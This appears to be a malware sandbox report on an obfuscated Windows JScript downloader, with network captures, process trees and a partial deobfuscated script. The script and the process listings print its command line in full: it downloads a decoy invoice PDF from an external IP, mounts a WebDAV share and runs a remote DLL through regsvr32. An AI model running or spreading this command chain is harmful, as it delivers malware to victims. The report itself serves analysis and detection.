Jan 11, 2025 02:18:19.889451027 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.889461040 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.889533997 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.889547110 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.889559031 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.889581919 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.889609098 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.889657021 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897279024 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897308111 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897320032 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897325039 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.897408962 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897422075 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897435904 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897445917 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.897447109 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.897476912 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.897542000 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.922343016 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.930785894 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.930851936 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.930901051 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.930936098 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.930952072 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.930972099 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.930984974 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931052923 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931088924 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931097984 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931154966 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931206942 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931360960 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931413889 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931451082 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931462049 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931504011 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931539059 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931562901 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931623936 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931664944 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931679010 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931723118 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931759119 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931792974 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931807995 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931832075 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.931838036 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.931865931 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.932255983 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.940383911 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.946708918 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:20.099200964 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:20.533849955 CET	49742	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:20.539167881 CET	8888	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:20.539395094 CET	49742	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:20.539819002 CET	49742	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:20.546093941 CET	8888	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:21.324254036 CET	8888	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:21.379722118 CET	49742	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:22.559210062 CET	49742	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:18:27.926567078 CET	62615	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:18:27.926567078 CET	192.168.2.10	1.1.1.1	0x785e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:18:27.933409929 CET	1.1.1.1	192.168.2.10	0x785e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:18:28.635818958 CET	1.1.1.1	192.168.2.10	0xf849	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:18:28.635818958 CET	1.1.1.1	192.168.2.10	0xf849	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49726	193.143.1.205	80	7624	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:18:18.357682943 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:18:19.156660080 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:18:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:18:19.156717062 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:18:19.156773090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:18:19.156822920 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:18:19.156860113 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:18:19.156893015 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 02:18:19.156929016 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 02:18:19.156965017 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 02:18:19.156994104 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 02:18:19.157030106 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 02:18:19.161812067 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49742	193.143.1.205	8888	5756	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:18:20.539819002 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:18:21.324254036 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:18:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:18:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js"
Imagebase:	0x7ff650520000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:18:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Imagebase:	0x7ff767990000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:18:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:18:14
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:18:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:18:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff767990000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:18:19
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ec620000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:18:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:18:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:18:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,11989586508930940256,8516604209193487676,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bllgkgrf() {	bllgkgrf() ➔ undefined
1	sovlt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var amhfrzt = this[iamefiimk + vlrtat + xcplcrtph + leilqb + cekniv + mucvj + usdnesk + xbguduhso] ( this[iapdfz + sdobq + jtlsgts + xcplcrtph + lucjn + iamefiimk + xbguduhso][zcaazjt + xcplcrtph + cekniv + vlrtat + xbguduhso + cekniv + bxkkgnk + gnchf + vqgnygmqu + cekniv + jtlsgts + xbguduhso] ( iapdfz + sdobq + jtlsgts + xcplcrtph + lucjn + iamefiimk + xbguduhso + cgjxdhl + sdobq + xdwuknump + cekniv + hogtaqp + hogtaqp ) [pjqfnene + cekniv + rlere + pjqfnene + cekniv + vlrtat + mxeqqvvr] ( tltuwr + fwavdxa + xhmpbjw + lkamaash + lymzrlgf + zcaazjt + bcckwgohf + pjqfnene + pjqfnene + xhmpbjw + vsjsh + jarhecd + lymzrlgf + bcckwgohf + sdobq + xhmpbjw + pjqfnene + mapscsd + zcaazjt + ztaci + usdnesk + xbguduhso + xcplcrtph + ztaci + hogtaqp + xjzdmosrz + yfpfiwqc + vlrtat + usdnesk + cekniv + hogtaqp + mapscsd + mucvj + usdnesk + xbguduhso + cekniv + xcplcrtph + usdnesk + vlrtat + xbguduhso + lucjn + ztaci + usdnesk + vlrtat + hogtaqp + mapscsd + sslbojenq + ztaci + jtlsgts + vlrtat + hogtaqp + cekniv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( etpiid = 0 ; etpiid < sovlt[hogtaqp + cekniv + usdnesk + rlere + xbguduhso + xdwuknump] ; ++ etpiid )
4	{
5	if ( amhfrzt == sovlt[etpiid] )
6	{
7	amhfrzt = true;
8	break ;
9	}
10	}
11	if ( amhfrzt !== true )
12	this[iapdfz + sdobq + jtlsgts + xcplcrtph + lucjn + iamefiimk + xbguduhso][fyaimmm + bedkk + lucjn + xbguduhso] ( );
13	this[iapdfz + sdobq + jtlsgts + xcplcrtph + lucjn + iamefiimk + xbguduhso][zcaazjt + xcplcrtph + cekniv + vlrtat + xbguduhso + cekniv + bxkkgnk + gnchf + vqgnygmqu + cekniv + jtlsgts + xbguduhso] ( iapdfz + sdobq + jtlsgts + xcplcrtph + lucjn + iamefiimk + xbguduhso + cgjxdhl + sdobq + xdwuknump + cekniv + hogtaqp + hogtaqp ) [xcplcrtph + bedkk + usdnesk] ( jtlsgts + axilbgszw + mxeqqvvr + xjzdmosrz + locpibg + jtlsgts + xjzdmosrz + iamefiimk + ztaci + hjhcwdunr + cekniv + xcplcrtph + leilqb + xdwuknump + cekniv + hogtaqp + hogtaqp + cgjxdhl + cekniv + zeebfb + cekniv + xjzdmosrz + bqjqqutmg + zcaazjt + ztaci + axilbgszw + axilbgszw + vlrtat + usdnesk + mxeqqvvr + xjzdmosrz + oavwh + mucvj + usdnesk + qhevj + ztaci + ziyzwvpu + cekniv + bqjqqutmg + iapdfz + cekniv + gnchf + pjqfnene + cekniv + qxfcsl + bedkk + cekniv + leilqb + xbguduhso + xjzdmosrz + bqjqqutmg + bxkkgnk + bedkk + xbguduhso + alozympwp + lucjn + hogtaqp + cekniv + xjzdmosrz + unharqvst + xbguduhso + cekniv + axilbgszw + iamefiimk + unharqvst + mapscsd + lucjn + usdnesk + qhevj + ztaci + lucjn + jtlsgts + cekniv + cgjxdhl + iamefiimk + mxeqqvvr + mntvpzk + xjzdmosrz + xdwuknump + xbguduhso + xbguduhso + iamefiimk + dymtcti + locpibg + locpibg + qukzpdo + blvxj + wiqbonue + cgjxdhl + qukzpdo + ibcgmk + wiqbonue + cgjxdhl + qukzpdo + cgjxdhl + zckjuxjqj + ryqdyqrb + pihmrcn + locpibg + lucjn + usdnesk + qhevj + ztaci + lucjn + jtlsgts + cekniv + cgjxdhl + iamefiimk + xdwuknump + iamefiimk + oavwh + agegd + agegd + leilqb + xbguduhso + vlrtat + xcplcrtph + xbguduhso + xjzdmosrz + unharqvst + xbguduhso + cekniv + axilbgszw + iamefiimk + unharqvst + mapscsd + lucjn + usdnesk + qhevj + ztaci + lucjn + jtlsgts + cekniv + cgjxdhl + iamefiimk + mxeqqvvr + mntvpzk + agegd + agegd + jtlsgts + axilbgszw + mxeqqvvr + xjzdmosrz + locpibg + jtlsgts + xjzdmosrz + usdnesk + cekniv + xbguduhso + xjzdmosrz + bedkk + leilqb + cekniv + xjzdmosrz + mapscsd + mapscsd + qukzpdo + blvxj + wiqbonue + cgjxdhl + qukzpdo + ibcgmk + wiqbonue + cgjxdhl + qukzpdo + cgjxdhl + zckjuxjqj + ryqdyqrb + pihmrcn + vkpxcy + eufrnj + eufrnj + eufrnj + eufrnj + mapscsd + mxeqqvvr + vlrtat + qhevj + hjhcwdunr + hjhcwdunr + hjhcwdunr + xcplcrtph + ztaci + ztaci + xbguduhso + mapscsd + agegd + agegd + jtlsgts + axilbgszw + mxeqqvvr + xjzdmosrz + locpibg + jtlsgts + xjzdmosrz + xcplcrtph + cekniv + rlere + leilqb + qhevj + xcplcrtph + wiqbonue + zckjuxjqj + xjzdmosrz + locpibg + leilqb + xjzdmosrz + mapscsd + mapscsd + qukzpdo + blvxj + wiqbonue + cgjxdhl + qukzpdo + ibcgmk + wiqbonue + cgjxdhl + qukzpdo + cgjxdhl + zckjuxjqj + ryqdyqrb + pihmrcn + vkpxcy + eufrnj + eufrnj + eufrnj + eufrnj + mapscsd + mxeqqvvr + vlrtat + qhevj + hjhcwdunr + hjhcwdunr + hjhcwdunr + xcplcrtph + ztaci + ztaci + xbguduhso + mapscsd + qukzpdo + ryqdyqrb + pihmrcn + zckjuxjqj + qukzpdo + wiqbonue + qukzpdo + zckjuxjqj + blvxj + eufrnj + qukzpdo + ibcgmk + pihmrcn + zckjuxjqj + pihmrcn + cgjxdhl + mxeqqvvr + hogtaqp + hogtaqp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll",0,false) ➔ 0
14	}
15	lkamaash = "n";
16	lkamaash = "R";
17	lkamaash = "E";
18	lkamaash = "r";
19	lkamaash = "e";
20	lkamaash = "K";
21	lkamaash = "I";
22	lkamaash = "Z";
23	lkamaash = "W";
24	lkamaash = "C";
25	lkamaash = "Y";
26	axilbgszw = "h";
27	axilbgszw = "Z";
28	axilbgszw = "z";
29	axilbgszw = "P";
30	axilbgszw = "m";
31	axilbgszw = "B";
32	axilbgszw = "l";
33	axilbgszw = "d";
34	axilbgszw = "I";
